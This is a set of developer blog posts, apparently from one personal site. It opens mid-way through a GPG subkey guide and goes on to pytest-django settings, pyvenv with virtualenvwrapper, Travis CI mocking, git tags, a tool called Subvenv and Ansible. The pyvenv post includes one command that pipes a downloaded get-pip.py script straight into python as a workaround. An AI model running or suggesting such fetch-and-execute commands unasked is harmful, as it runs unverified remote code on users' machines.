<div class="highlight"><pre><span></span><code>$<span class="w"> </span>gpg<span class="w"> </span>--export-secret-subkeys<span class="w"> </span><span class="o">[</span>your<span class="w"> </span>email<span class="w"> </span>address<span class="o">]</span><span class="w"> </span>><span class="w"> </span>/media/encrypted-media/subkeys
</code></pre></div>
<p>Delete the master key:</p>
<div class="highlight"><pre><span></span><code>$<span class="w"> </span>gpg<span class="w"> </span>--delete-secret-key<span class="w"> </span>0x6F87F32E2234961E
</code></pre></div>
<p>Re-import the subkeys and remove the temporary export:</p>
<div class="highlight"><pre><span></span><code>$<span class="w"> </span>gpg<span class="w"> </span>--import<span class="w"> </span>/media/encrypted-usb/subkeys
$<span class="w"> </span>shred<span class="w"> </span>-u<span class="w"> </span>/media/encrypted-usb/subkeys
</code></pre></div>
<p>Check that everything worked as intended - the hash (#) next to the <code>sec</code> line means that the master key is missing.</p>
<div class="highlight"><pre><span></span><code>$<span class="w"> </span>gpg<span class="w"> </span>-K<span class="w"> </span><span class="o">[</span>your<span class="w"> </span>email<span class="w"> </span>address<span class="o">]</span>
/home/username/.gnupg/secring.gpg
-----------------------------
sec#<span class="w"> </span>4096R/<span class="o">[</span>Your<span class="w"> </span>key<span class="w"> </span>ID<span class="o">]</span><span class="w"> </span><span class="m">2017</span>-04-17
uid<span class="w"> </span><span class="o">[</span>Your<span class="w"> </span>name<span class="o">]</span><span class="w"> </span><<span class="o">[</span>your<span class="w"> </span>email<span class="w"> </span>address<span class="o">]</span>>
ssb<span class="w"> </span>4096R/<span class="o">[</span>Subkey<span class="w"> </span>ID<span class="o">]</span><span class="w"> </span><span class="m">2017</span>-04-17
ssb<span class="w"> </span>4096R/<span class="o">[</span>Subkey<span class="w"> </span>ID<span class="o">]</span><span class="w"> </span><span class="m">2017</span>-04-17
</code></pre></div>
<h2>Upload the key to a keyserver</h2>
<p>Keyservers syncs keys with each other, so any keyserver would do.</p>
<div class="highlight"><pre><span></span><code>$<span class="w"> </span>gpg<span class="w"> </span>--keyserver<span class="w"> </span>pgp.mit.edu<span class="w"> </span>--send-key<span class="w"> </span><span class="o">[</span>your<span class="w"> </span>key<span class="w"> </span>ID<span class="o">]</span>
</code></pre></div>
<h2>Using your master key</h2>
<p>Assuming that the <code>.gpg</code> folder is on some kind of encrypted media:</p>
<div class="highlight"><pre><span></span><code>$<span class="w"> </span>gpg<span class="w"> </span>--homedir<span class="o">=</span>/media/encrypted-media/.gnupg/<span class="w"> </span><span class="o">[</span>gpg<span class="w"> </span>command<span class="o">]</span>
</code></pre></div>
<h2>Parting thoughts</h2>
<p>That's it!</p>
<p>There is probably a lot more to say, but this seems quite enough stuff to read already. Below there's a list of links that are worthed reading and/or served me as source of inspiration.</p>
<p>Also, I am not an expert at this, so corrections to any mistake I might have made are more than welcome!</p>
<h3>Resources</h3>
<ul>
<li><a href="https://riseup.net/en/security/message-security/openpgp/best-practices">OpenPGP Best Practices</a></li>
<li><a href="https://www.gnupg.org/gph/en/manual/book1.html">The GNU Privacy handbook</a></li>
<li><a href="https://wiki.debian.org/Subkeys?action=show&redirect=subkeys">Subkeys - Debian wiki</a></li>
<li><a href="https://debian-administration.org/users/dkg/weblog/48">HOWTO prep for migration off of SHA-1 in OpenPGP</a></li>
<li><a href="https://www.void.gr/kargig/blog/2013/12/02/creating-a-new-gpg-key-with-subkeys/">Creating a new GPG key with subkeys</a></li>
<li><a href="https://alexcabal.com/creating-the-perfect-gpg-keypair/">Creating the perfect GPG keypair</a></li>
<li><a href="http://ekaia.org/blog/2009/05/10/creating-new-gpgkey/">Creating a new GPG key</a></li>
<li><a href="http://blog.clusterlabs.org/blog/2013/gpg-quickstart">GPG Quickstart</a></li>
<li><a href="https://spin.atomicobject.com/2013/11/24/secure-gpg-keys-guide/">Generating More Secure GPG Keys: A Step-by-Step Guide</a></li>
</ul>How to override pytest-django settings discovery order2016-09-29T00:00:00+02:002016-09-29T00:00:00+02:00Giuliatag:railslide.io,2016-09-29:/how-to-override-pytest-django-settings-discovery-order.html<p>The order pytest-django uses for determining which settings file should be used for running tests might not be the most optimal when using environment variables. However, it is still possible to override it so that it picks up the correct file without recurring to extra typing.</p><p>If you want to use Pytest for running the test suite in your Django project, all you need to do is to install pytest-django, tell it where to look for the Django settings file - usually by placing a <code>pytest.ini</code> file in the project root folder - and you're ready to go. However, even though the <code>pytest.ini</code> file is probably the most common way to point pytest-django to the settings file, it also the last place in which pytest-django will look for it. In fact, every time you run <code>pytest</code>, pytest-django will check for the <code>DJANGO_SETTINGS_MODULE</code> variable in the following order:</p>
<ul>
<li>command line option with <code>--ds</code></li>
<li>environment variables</li>
<li><code>pytest.ini</code> file</li>
</ul>
<p>While this order would work perfectly fine for many projects, if you happen to have an enviroment variable pointing to a different settings file (e.g. if you're running your project in a Docker container), it might reveals itself as a bit of a bummer. So, what are the available options for preventing django-pytest from picking up the wrong variable?</p>
<h2>Using the <code>--ds</code> option</h2>
<p>This is probably a no-brainer, but the most obvious way to make sure pytest-django picks up the right settings file is to pass the <code>--ds</code> option when invoking <code>pytest</code> from the command line.</p>
<p>While it certainly works, it adds quite a lot of typing - especially if you use a <a href="https://www.rdegges.com/2011/the-perfect-django-settings-file/">settings module instead of a single setting file</a>, since it could easily translate into</p>
<div class="highlight"><pre><span></span><code>$<span class="w"> </span>pytest<span class="w"> </span>--ds<span class="o">=</span>project_folder.settings_folder.settings_file
</code></pre></div>
<p>Certainly not something I'd like to do every time I want to run the test suite.</p>
<h2>Setting the environment variable</h2>
<p>Another way around the issue is to set the environment variable to the test settings file before every test run and the setting it back to its original value once you're finished.</p>
<p>However, besides still requiring quite a lot of typing, this method is also extremely error prone. What if you forget to set the environment variable back after test running? So, unless you're willing to take the risk of frustrating debugging time trying to figure out why your app is not working as it should, this option is pretty much a no-op.</p>
<h2>Using <code>addopts</code> in the <code>pytest.ini</code> file</h2>
<p>Wouldn't be awesome if you could just use the <code>pytest.ini</code> file, set all the necessary settings in there, and not have to worry ever again? Actually you can, thanks to <a href="http://doc.pytest.org/en/3.0.2/customize.html#confval-addopts"><code>addopts</code></a>.</p>
<p>What <code>addopts</code> does is to add options (hence the double d!) to your test run as if they were specified via command line. So, for example, if you want to update and export coverage every time you run the suite, you would write this in the <code>pytest.ini</code> file</p>
<div class="highlight"><pre><span></span><code><span class="k">[pytest]</span>
<span class="na">addopts</span><span class="w"> </span><span class="o">=</span>
<span class="w"> </span><span class="na">--cov</span><span class="o">=</span><span class="s">.</span>
<span class="w"> </span><span class="na">--cov-report</span><span class="o">=</span><span class="s">html</span>
</code></pre></div>
<p>and every time you run <code>pytest</code> it will, behind the scene, be interpreted as if you have run</p>
<div class="highlight"><pre><span></span><code>$<span class="w"> </span>pytest<span class="w"> </span>--cov<span class="o">=</span>.<span class="w"> </span>--cov-report<span class="o">=</span>html
</code></pre></div>
<p>Thus, by adding <code>--ds=project_folder.settings_folder.settings_file</code> to <code>addopts</code> it is possible to override pytest-django discovery order and make sure that the value in the <code>pytest.ini</code> file gets read instead of environment variable.</p>
<p>Ok, but what if you want to point pytest to a different settings file for one run only? No problem! One of the perks of this method is that you can esplicitly pass the <code>--ds</code> option from the command line to override the one in the <code>pytest.ini</code> file. So running</p>
<div class="highlight"><pre><span></span><code>$<span class="w"> </span>pytest<span class="w"> </span>--ds<span class="o">=</span>other_settings_file
</code></pre></div>
<p>will just work as usual. Neat!</p>Using pyvenv with virtualenvwrapper2016-06-07T00:00:00+02:002016-06-07T00:00:00+02:00Giuliatag:railslide.io,2016-06-07:/pyvenv-virtualenvwrapper.html<p>After reading that it might be possible to use virtualenvwrapper with pyvenv, I decided to fire up a couple of virtual machines and to find it out.</p><p>Python 3 ships with pyvenv, a built-in virtualenv manager. Although I welcomed the news as a definitely good one, the absence of a virtualenvwrapper-like tool for pyvenv has always stopped me from giving it a try. I consider virtualenvwrapper to be a super neat tool (I even wrote a plugin for it!) and I don't see why I would want to type the path to my virtual environment activation script every time I want to activate it, when I can just use a way more pythonic <code>workon my_venv</code>.</p>
<p>I happened, however, to stumble into <a href="https://groups.google.com/forum/#!msg/virtualenvwrapper/bkpwkfyIppM/9M9mz3pB0RQJ">a conversation</a> in the virtualenvwrapper google group, where Doug Hellman (aka the guy behind virtualenvwrapper) wrote that <em>in theory</em> it should be possible to use virtualenvwrapper with pyvenv. So I immediately fired up a couple of virtual machines and started playing around in order to see whether it was possible to turn that <em>in theory</em> into an <em>in practice</em>.</p>
<h2>The Ubuntu mess</h2>
<p>According to Python documentation I should be able to invoke pyvenv by simply calling <code>pyvenv [args]</code>. However, that is not the case for Ubuntu. Thus, my first attempt to set my <code>VIRTUALENVWRAPPER_VIRTUALENV</code> variable equal to <code>pyvenv</code> resulted in my vagrant machine complaining because it could not find it in my path. Setting it to <code>pyvenv-3.4</code> solved it (I was initially testing on Ubuntu 14.04, which ships with Python 3.4). Though having to manually change it whenever I decide to update my Python version is far from optimal.</p>
<p>So I set <code>pyvenv-3.4</code> as <code>VIRTUALENVWRAPPER_VIRTUALENV</code>, created a new virtualenv and...</p>
<div class="highlight"><pre><span></span><code>Error:<span class="w"> </span>Command<span class="w"> </span><span class="s1">'['</span>/home/vagrant/.virtualenvs/test/bin/python3.4<span class="s1">', '</span>-Im<span class="s1">', '</span>ensurepip<span class="s1">', '</span>--upgrade<span class="s1">', '</span>--default-pip<span class="s1">']'</span><span class="w"> </span>returned<span class="w"> </span>non-zero<span class="w"> </span><span class="nb">exit</span><span class="w"> </span>status<span class="w"> </span><span class="m">1</span>
</code></pre></div>
<p>Ok, not exactly what I was hoping for.</p>
<p>After a bit of digging, it came out that it is due <a href="https://bugs.launchpad.net/ubuntu/+source/python3.4/+bug/1290847">to a bug with ensurepip</a> in the first release of Ubuntu 14.04. However, it is possible to bypass the problem by first creating the virtualenv without pip and then manually installing it once inside it.</p>
<div class="highlight"><pre><span></span><code>$<span class="w"> </span>mkvirtualenv<span class="w"> </span>--without-pip<span class="w"> </span>my_venv
<span class="o">(</span>my_venv<span class="o">)</span>$<span class="w"> </span>curl<span class="w"> </span>https://bootstrap.pypa.io/get-pip.py<span class="w"> </span><span class="p">|</span><span class="w"> </span>python
</code></pre></div>
<p>Quite a lot to type, plus you have to wait for Pip to install. Definitely not optimal.</p>
<p>Fortunately the issue has been solved in Ubuntu 14.04.2 (which allowed me to perform my tests), but for some reason the whole pyvenv package has been <a href="http://askubuntu.com/questions/682612/pyvenv-3-4-disappeared-in-ubuntu-14-04-3">removed in Ubuntu 14.04.03</a>.</p>
<p>Ok, not exactly an encouraging scenario... but hey! Ubuntu 16.04 has been released in the meanwhile and it ships with Python 3.5! Maybe things have changed in the new LTS? Well, apparently not, since getting an image with a working pyvenv package looks pretty much like a lottery: you pick one and hope for the best.</p>
<p>The vagrant box <code>20160521.0.0</code> shipped with a working pyvenv, but then it disappeared from the catalog. The <code>20160528.0.0</code> one brings back to the good old ensurepip bug, while in the <code>20160606.1.0</code> pyvenv seems to work again. For the sake honesty, it might be a problem related to the vagrant boxes only, since this wasn't the <a href="https://github.com/mitchellh/vagrant/issues/7288">only</a> <a href="https://groups.google.com/d/msg/vagrant-up/cUXVwSDi4vc/OhyXR-G7CAAJ">issue</a> I encountered. But at this point I already started to wonder whether the pyvenv package will be ever stable enough to be used in everyday development.</p>
<p>The only good news is that in 16.04 the package can also be installed and invoked through a more generic alias (<code>python3-venv</code> for installing and <code>pyvenv</code> for invoking), so that - if it will ever become stable - you will have no longer to worry about manually updating your pyvenv version in your shell start file.</p>
<h2>What doesn't work when it works</h2>
<p>Leaving Ubuntu peculiarities apart, the initial question remains: assuming a working pyvenv package, is it possible to use it as a replacement for virtualenv in virtualenwrapper?</p>
<p>The answer is yes, but with some gotchas.</p>
<p>All the site packages related commands, i.e</p>
<ul>
<li><code>lssitepackages</code></li>
<li><code>toogleglobalsitepackages</code></li>
<li><code>cdsitepackages</code></li>
<li><code>add2virtualenv</code></li>
</ul>
<p>don't work and they all raise</p>
<div class="highlight"><pre><span></span><code><span class="ne">AttributeError</span><span class="p">:</span> <span class="s1">'module'</span> <span class="nb">object</span> <span class="n">has</span> <span class="n">no</span> <span class="n">attribute</span> <span class="s1">'sysconfig'</span>
</code></pre></div>
<p><code>cpvirtualenv</code> is instead a bit weird, since it does copy the virtualenv, but it displays the name of the original one in front of the prompt of all its copies. Even making copies of a copy doesn't change the result: it still shows the name of the first original. The <code>$VIRTUAL_ENV</code> variable and the interpreter point to the correct folder tho...</p>
<p>Last but not least, is probably worthy mentioning that - by design - pyvenv doesn't offer the possibility to specify a Python interpreter for virtual environments, so</p>
<div class="highlight"><pre><span></span><code>$<span class="w"> </span>mkvirtualenv<span class="w"> </span>-p<span class="w"> </span>/path/to/python/interpreter<span class="w"> </span>my_venv
</code></pre></div>
<p>no longer works, which means no way to get a Python 2.7 virtualenv out of it.</p>
<p>All the rest work as expected.</p>
<h2>Summing up</h2>
<p>Before I started experiment with it, I was seriously tinkering with the idea of dropping virtualenv altogether and use pyvenv instead. However, after seeing the results, it looks like it's not going to be the case. Not much for the site packages commands - I think this was the first time I ever used them - but rather for the impossibility to switch to Python 2.7 when needed.</p>
<p>Also, the whole Ubuntu situation is quite a show-stopper for me, since I don't really want to rely on hoping that everything still works every time I run an <code>apt update</code>.</p>
<p>So, at the current status, replacing virtualenv with pyvenv is definitely a no-op for me. However, if you want to give it a try, I uploaded the Vagrantfiles for the virtual machines in a <a href="https://github.com/Railslide/pyvenvwrapper">GitHub repo</a>. They're provisioned with a shell script, so that there's no need to install any fancy tool for running them. Feel free to play with them and don't forget to give me a shout if you find a way to fix those issues!</p>Travis, Mock, different Python versions, and an afternoon of frustration2016-05-15T00:00:00+02:002016-05-15T00:00:00+02:00Giuliatag:railslide.io,2016-05-15:/travis-mock-afternoon-of-frustration.html<p>My plan was to quickly set up Travis CI for Subvenv and then move on to other projects. Instead, it came out that I couldn't have been more wrong and I ended up instead in an afternoon of frustration.</p><p>I have been tinkering for a while with the idea of setting up Travis CI for Subvenv. I mean, automatically running tests on pull requests sounded like a great idea and the getting started guide seemed pretty straightforward, so why not use a bit of my today's free-for-coding time for setting Travis up?</p>
<p>Armed with enthusiasm, I set up the <code>.travis.yml</code> configuration file, granted the necessary GitHub permissions, enabled Travis for Subvenv, pushed, and... build failure!</p>
<h2>There's always a first time (for a failure)</h2>
<p>Ok, you know the old adage: <em>if it compiles the first time, there must be something wrong</em>. And in a similar fashion, this first failure didn't come at all as a surprise. Not a big deal. Also, the build for Python 3.4 succeeded, which is good.</p>
<p>I checked out the error messages and - of course - it complains because it couldn't find the <code>unittest.mock</code> module in Python 2. Since I'd rather not add dependencies that are not strictly necessary for setting up the development environment, I was quite happy to read that Travis CI automatically installs mock in its testing environments. So, I wrapped my import statement in a try-except block as such:</p>
<div class="highlight"><pre><span></span><code><span class="k">try</span><span class="p">:</span>
<span class="kn">from</span> <span class="nn">unittest.mock</span> <span class="kn">import</span> <span class="n">patch</span><span class="p">,</span> <span class="n">mock_open</span>
<span class="k">except</span> <span class="ne">ImportError</span><span class="p">:</span>
<span class="kn">from</span> <span class="nn">mock</span> <span class="kn">import</span> <span class="n">patch</span><span class="p">,</span> <span class="n">mock_open</span>
</code></pre></div>
<p>To be honest, I am not super glad about an import that relies on a non-mandatory dependency, but let's play along for now and let's get Travis up and running - I can always come up with something better on a later moment.</p>
<p>Ok so, commit my hack, push, and hold my breath for a handful of seconds. Does it work? Nope.</p>
<h2>Builtins, __builtin__, and better mocking decisions</h2>
<p>Since Subvenv relies on I/O operations for doing its job, I made sure to mock them away when writing my tests. However, since I use Python 3 as my default, I had initially mocked the <code>open</code> function like this:</p>
<div class="highlight"><pre><span></span><code><span class="n">patch</span><span class="p">(</span><span class="s1">'builtins.open'</span><span class="p">,</span> <span class="n">m</span><span class="p">,</span> <span class="n">create</span><span class="o">=</span><span class="kc">True</span><span class="p">)</span>
</code></pre></div>
<p>That of course didn't work in Python 2, since there the module is called <code>__builtin__</code>. So, after a hacky and unsuccessful attempt, I ended up in rewriting my mock in a more specific and robust way. Instead of patching the function within the Builtins module, I patched the function <em>call</em> made inside my module:</p>
<div class="highlight"><pre><span></span><code><span class="n">patch</span><span class="p">(</span><span class="s1">'subvenv.core.open'</span><span class="p">,</span> <span class="n">m</span><span class="p">,</span> <span class="n">create</span><span class="o">=</span><span class="kc">True</span><span class="p">)</span>
</code></pre></div>
<p>In this way, there's no need to worry about where the function comes from, since all it matters is that it gets called within my module's namespace.</p>
<h2>Python 2.6 and Unittest, Python 3.2 and Pip</h2>
<p>In the meanwhile, Python 2.6 was throwing its own kind of errors. That wasn't a big problem either, since I had added it to list of interpreters mostly out of curiosity. Nevertheless, I did a check on the errors and investigated its causes a bit and it came out that before 2.7 it wasn't possible to use <code>self.AssertRaises</code> as a context manager (see <a href="https://docs.python.org/2/library/unittest.html#unittest.TestCase.assertRaises">here</a> and <a href="https://bugs.python.org/issue4444">here</a>).</p>
<p>Supporting Python 2.6 has never been on my roadmap and adapting my tests to it didn't seem worth the effort, so I didn't think twice about ditching it from the interpreters list.</p>
<p>Python 3.2 ended up sharing the same fate as Python 2.6, since I discovered that Pip no longer supports it. Thus, due to the impossibility to install the necessary dependencies, I decided to simply follow Pip's example and remove also Python 3.2 from my Travis configuration file.</p>
<h2>Which mock?</h2>
<p>Ok, so back to my mocks! Now they get imported and patch what they need to patch, but still don't seem to work as expected. Or rather, it looks like there's something off with the <code>mock_open</code> helper, since for some reason it returns a <code>MagicMock</code> instance instead of the specified <code>read_data</code>.</p>
<p>After a bit of head scratching and googling, I found a <a href="https://github.com/travis-ci/travis-ci/issues/5849">feature request</a> to Travis that shaded light over my own problem. Thanks to it I got to discover that Travis runs an old version of Mock (I haven't figured out which one exactly, but for sure older than 1.3.0) which does not implement <code>mock_open</code> as later versions do. Thankfully the same issue suggested also a workaround for it, i.e. to add an explicit install command for the desired version to the configuration file:</p>
<div class="highlight"><pre><span></span><code><span class="nt">install</span><span class="p">:</span>
<span class="w"> </span><span class="p p-Indicator">-</span><span class="w"> </span><span class="l l-Scalar l-Scalar-Plain">pip install .</span>
<span class="w"> </span><span class="p p-Indicator">-</span><span class="w"> </span><span class="l l-Scalar l-Scalar-Plain">pip install mock==2.0</span>
<span class="w"> </span><span class="p p-Indicator">-</span><span class="w"> </span><span class="l l-Scalar l-Scalar-Plain">pip install -r requirements.txt</span>
</code></pre></div>
<h2>Mock and Python 3.3</h2>
<p>Ok, after the latest changes, I managed to add Python 2.7 to the list of successful builds. However, Python 3.3 shows up still in red and the error message is basically the same one I got when I add the Mock version issue in Python 2.7. That's weird!</p>
<p>Just to be sure, I double checked: yes, Mock is already part of the Unittest module in Python 3.3 and yes, its implementation of the <code>mock_open</code> does take <code>read_data</code> as an argument. However, as the documentation specifies, the <code>readline</code> and <code>readlines</code> method have been added in version 3.4, hence my error.</p>
<p>Ok, let's flip the imports then, so that the external library gets tried first:</p>
<div class="highlight"><pre><span></span><code><span class="k">try</span><span class="p">:</span>
<span class="kn">from</span> <span class="nn">mock</span> <span class="kn">import</span> <span class="n">patch</span><span class="p">,</span> <span class="n">mock_open</span>
<span class="k">except</span> <span class="ne">ImportError</span><span class="p">:</span>
<span class="kn">from</span> <span class="nn">unittest.mock</span> <span class="kn">import</span> <span class="n">patch</span><span class="p">,</span> <span class="n">mock_open</span>
</code></pre></div>
<p>And finally, all green!</p>
<h2>All in all</h2>
<p>Phew! That was quite an amount of trials and errors - especially considering that I was expecting to be done with it in half an hour or so!</p>
<p>It is a bit sad to think that if I would have coded Subvenv in Python 2.7 I would have spared myself quite some headaches. Also, I am still not super happy to have to rely on an external backport of a built-in module in order to continuously integrate my code.</p>
<p>But hey, the bright side is that I got to learn a lot from it! While there have been moments when the thought of giving up has surfaced my mind, the whole process has been a super interesting travel through how different things are implemented in different versions of Python, as well as how to write code that is compatible with them. Also, code gets now automatically tested when opening a pull request, which is great. So yeah, I guess I can call it a long but profitable afternoon!</p>How to release your code (aka Git tags)2016-04-02T00:00:00+02:002016-04-02T00:00:00+02:00Giuliatag:railslide.io,2016-04-02:/how-to-release-aka-git-tags.html<p>After spending quite some time working on your side project, you feel that it is finally good enough for going public. Releasing sounds like a super neat idea, but how do you do it?</p><p>After spending quite some time working on your side project, you feel that it is finally good enough for going public. Releasing sounds like a super neat idea, but how do you do it?</p>
<h2>Releasing through Github</h2>
<p>Github provides a very straightforward release interface. All you need to do is to click on the releases counter, press the <em>"Create a new release"</em> button, fill the form, submit, and you're done. Github also offer the possibility to draft releases - which comes in handy if you want to start preparing the release while still working on the code for it - or pre-releases, in case your code is not really stable yet.</p>
<p>Github also provides you with a fancy link in the form of github.com/Username/repo/releases/latest, which will allow people to get directly to the latest release, no matter its number.</p>
<h2>Releasing from the command line (with Git tags)</h2>
<p>Github interface it is certainly nice, but it comes to the price of making your release workflow dependent on Github. What if a certain point you decide that you want to move your code away from Github? Also wouldn't be awesome if you could take care of your releases directly from your trusted terminal? Well, it turns out that you can, since what Github does behind the scene is to create and set a Git tag on the repository.</p>
<p>Tags in Git are a way to set a reference to a specific point in history. You can think of them as a way to <em>bookmark</em> a specific commit. So when you download the source code for your-awesome-project.v1.1.0 you're basically saying "Hey Git, fetch me the code up to the point that correspond to the commit tagged with the name your-awesome-project.v1.1.0".</p>
<p>You can set a tag with the <code>git tag</code> command. However, before you go git-tagging all the things, you should probably be aware that there are two kinds of tags in Git: annotated and lightweight. As the man page for <code>git-tag</code> explains:</p>
<div class="highlight"><pre><span></span><code><span class="nx">Tag</span><span class="w"> </span><span class="nx">objects</span><span class="w"> </span><span class="p">(</span><span class="nx">created</span><span class="w"> </span><span class="nx">with</span><span class="w"> </span><span class="o">-</span><span class="nx">a</span><span class="p">,</span><span class="w"> </span><span class="o">-</span><span class="nx">s</span><span class="p">,</span><span class="w"> </span><span class="k">or</span><span class="w"> </span><span class="o">-</span><span class="nx">u</span><span class="p">)</span><span class="w"> </span><span class="nx">are</span><span class="w"> </span><span class="nx">called</span><span class="w"> </span><span class="s">"annotated"</span><span class="w"> </span><span class="nx">tags</span><span class="p">;</span>
<span class="nx">they</span><span class="w"> </span><span class="nx">contain</span><span class="w"> </span><span class="nx">a</span><span class="w"> </span><span class="nx">creation</span><span class="w"> </span><span class="nx">date</span><span class="p">,</span><span class="w"> </span><span class="nx">the</span><span class="w"> </span><span class="nx">tagger</span><span class="w"> </span><span class="nx">name</span><span class="w"> </span><span class="k">and</span><span class="w"> </span><span class="nx">e</span><span class="o">-</span><span class="nx">mail</span><span class="p">,</span><span class="w"> </span><span class="nx">a</span><span class="w"> </span><span class="nx">tagging</span>
<span class="nx">message</span><span class="p">,</span><span class="w"> </span><span class="k">and</span><span class="w"> </span><span class="nx">an</span><span class="w"> </span><span class="nx">optional</span><span class="w"> </span><span class="nx">GnuPG</span><span class="w"> </span><span class="nx">signature</span><span class="p">.</span><span class="w"> </span><span class="nx">Whereas</span><span class="w"> </span><span class="nx">a</span><span class="w"> </span><span class="s">"lightweight"</span><span class="w"> </span><span class="nx">tag</span>
<span class="k">is</span><span class="w"> </span><span class="nx">simply</span><span class="w"> </span><span class="nx">a</span><span class="w"> </span><span class="nx">name</span><span class="w"> </span><span class="k">for</span><span class="w"> </span><span class="nx">an</span><span class="w"> </span><span class="nx">object</span><span class="w"> </span><span class="p">(</span><span class="nx">usually</span><span class="w"> </span><span class="nx">a</span><span class="w"> </span><span class="nx">commit</span><span class="w"> </span><span class="nx">object</span><span class="p">).</span>
<span class="nx">Annotated</span><span class="w"> </span><span class="nx">tags</span><span class="w"> </span><span class="nx">are</span><span class="w"> </span><span class="nx">meant</span><span class="w"> </span><span class="k">for</span><span class="w"> </span><span class="nx">release</span><span class="w"> </span><span class="k">while</span><span class="w"> </span><span class="nx">lightweight</span><span class="w"> </span><span class="nx">tags</span><span class="w"> </span><span class="nx">are</span><span class="w"> </span><span class="nx">meant</span>
<span class="k">for</span><span class="w"> </span><span class="k">private</span><span class="w"> </span><span class="k">or</span><span class="w"> </span><span class="nx">temporary</span><span class="w"> </span><span class="nx">object</span><span class="w"> </span><span class="nx">labels</span><span class="p">.</span><span class="w"> </span><span class="nx">For</span><span class="w"> </span><span class="nx">this</span><span class="w"> </span><span class="nx">reason</span><span class="p">,</span><span class="w"> </span><span class="nx">some</span><span class="w"> </span><span class="nx">git</span>
<span class="nx">commands</span><span class="w"> </span><span class="k">for</span><span class="w"> </span><span class="nx">naming</span><span class="w"> </span><span class="nx">objects</span><span class="w"> </span><span class="p">(</span><span class="k">like</span><span class="w"> </span><span class="nx">git</span><span class="w"> </span><span class="nx">describe</span><span class="p">)</span><span class="w"> </span><span class="nx">will</span><span class="w"> </span><span class="nx">ignore</span><span class="w"> </span><span class="nx">lightweight</span>
<span class="nx">tags</span><span class="w"> </span><span class="nx">by</span><span class="w"> </span><span class="k">default</span><span class="p">.</span>
</code></pre></div>
<p>To be honest, I still haven't yet figured out a good case for lightweight tags - if you have, give me a shout 'cause I'd love to know! Anyways, the bottom line is: <strong>do not forget the <code>-a</code> flag when you're trying to make a release</strong>.</p>
<p>Ok, back to our release!</p>
<div class="highlight"><pre><span></span><code>$<span class="w"> </span>git<span class="w"> </span>tag<span class="w"> </span>-a<span class="w"> </span>v1.0.0<span class="w"> </span>-m<span class="w"> </span><span class="s2">"My awesome message for v1.0.0"</span>
$<span class="w"> </span>git<span class="w"> </span>push<span class="w"> </span>--tags<span class="w"> </span><span class="c1"># tags need to be pushed explicitly</span>
</code></pre></div>
<p>Done!</p>
<h2>Happy ending? Almost...</h2>
<p>OK, so after pushing your latest release via command line, you go an check Github to see if everything worked as expected. The counter increased - which is good - but if you had done any previous release via GUI the releases page might not look exactly how you would have expected it. In fact, even though Github correctly displays your tags, it doesn't mark it as the latest relase.</p>
<p>The reason for that is that at the time of writing Github doesn't fully support releases made via command line. That's a bummer and unfortunately there's nothing we can do other than hoping that the folk at Github will implement it soon.</p>
<p>However, leaving it as it is doesn't really qualify as an option since having a flag and a direct link pointing to the wrong release is worse than not having them at all. So what our workaround options? We could use the Github interface to mark a tag as the latest release, though it would add extra manual work to the release process and - again - making it dependent on Github. Alternatively it possible is to remove the Github sugarcoat from previous releases, so that the <em>latest release</em> flag disappears. The downside of doing so is that the direct link to the latest release won't work anymore.</p>
<p>Unfortunately, every workaround has its flaws, so which one would work best depends on what your needs are and what compromises you're ready to make. Other than that, happy releasing!</p>Subvenv2016-03-01T00:00:00+01:002016-03-01T00:00:00+01:00Giuliatag:railslide.io,2016-03-01:/subvenv-v1-0.html<p>Subvenv 1.0 is out! What it is, why I wrote it, and why you might want to use it.</p><p>A couple of days ago I released and upload to PyPI the first stable release of <a href="https://github.com/Railslide/subvenv">Subvenv</a>. Besides being a labor of love, Subvenv is an utility for creating virtualenv-friendly Sublime Text project files.</p>
<p>The reason why I wrote it is that I am lazy and I love to have computers taking care of boring and repetitive tasks on my behalf. More specifically, I wasn't super happy with my typical workflow for starting a new project, since it required me a certain number of steps before being finally able to crunch some code.</p>
<p>Here's what my workflow used to look like:</p>
<ul>
<li>create a Virtualenvwrapper project</li>
<li>open Sublime Text</li>
<li>create a Sublime Text project</li>
<li>add the previously created folder to the project file</li>
<li>add the virtual environment interpreter path to the project file, so that linting plugins could pick that instead of the global one (and stop complaining about missing imports!)</li>
<li>Start coding</li>
</ul>
<p>Now with Subvenv instead:</p>
<ul>
<li>create a Virtualenvwrapper project</li>
<li>open Sublime Text</li>
<li>open the Sublime Text project</li>
<li>Start coding</li>
</ul>
<p>Way faster and less error prone! So, why not sharing it? I cleaned up the code a bit, made it more virtual environment management agnostic, and uploaded it on PyPI. Now it's out there. If you use Sublime Text you might want to have a look it - it may speed up your workflow too :)</p>Provisioning Vagrant with Ansible2016-02-05T00:00:00+01:002016-02-05T00:00:00+01:00Giuliatag:railslide.io,2016-02-05:/provisioning-vagrant-with-ansible.html<p>Vagrant is an amazing tool. However, one thing that bugged me was that provisioning scripts preparation still required me a fair amount of time and trial-errors attempts. Switching to Ansible allowed me to make my life easier and provision times shorter.</p><p>When I started using Vagrant I picked bash as my provisioning tool. It looked as the most logical choice as I was already familiar with the command line. It served me well - I brought up a fair amount of virtual machines with it - but the process of getting the provision scripts still gave me some annoyances.</p>
<p>First of all, running a non-interactive installation adds an extra layer of complexity, since you don't always know (or think about) how an interactive command will behave in an unattended installation. For me that often translated itself into: run provision, get a more or less cryptic message, ssh into the machine, run the command manually, figure out what went wrong, edit the provision script, rinse, and repeat.</p>
<p>Then, the provision script runs from top to bottom every time a provision is run - no matter whether the machine has been already partially provisioned. You could throw in a bunch of conditional statements in order to skip the already performed steps, but that would come with the price of adding further complexity to the provisioning script.</p>
<p>Finally, you have to <em>echo all the things</em> in order to keep track of the different installation steps - reducing thus the readability of the script.</p>
<p>Of course these are trivial problems and I've happily coped with them for quite some time. But then I had the chance to have a look at Ansible - and it has been a game changer!</p>
<p>Ansible uses yaml as a language for its orchestration files (aka playbook), which makes them extremely easy to read. For example, this is how a task for installing Git could look</p>
<div class="highlight"><pre><span></span><code><span class="p p-Indicator">-</span><span class="w"> </span><span class="nt">name</span><span class="p">:</span><span class="w"> </span><span class="l l-Scalar l-Scalar-Plain">Install git</span>
<span class="w"> </span><span class="nt">sudo</span><span class="p">:</span><span class="w"> </span><span class="l l-Scalar l-Scalar-Plain">yes</span>
<span class="w"> </span><span class="nt">apt</span><span class="p">:</span><span class="w"> </span><span class="l l-Scalar l-Scalar-Plain">pkg=git state=latest</span>
</code></pre></div>
<p>Pretty easy to figure out what it does! On top of that, Ansible outputs the name of your tasks when running them, making it trivial for you to keep track of what's going on behind the scenes.</p>
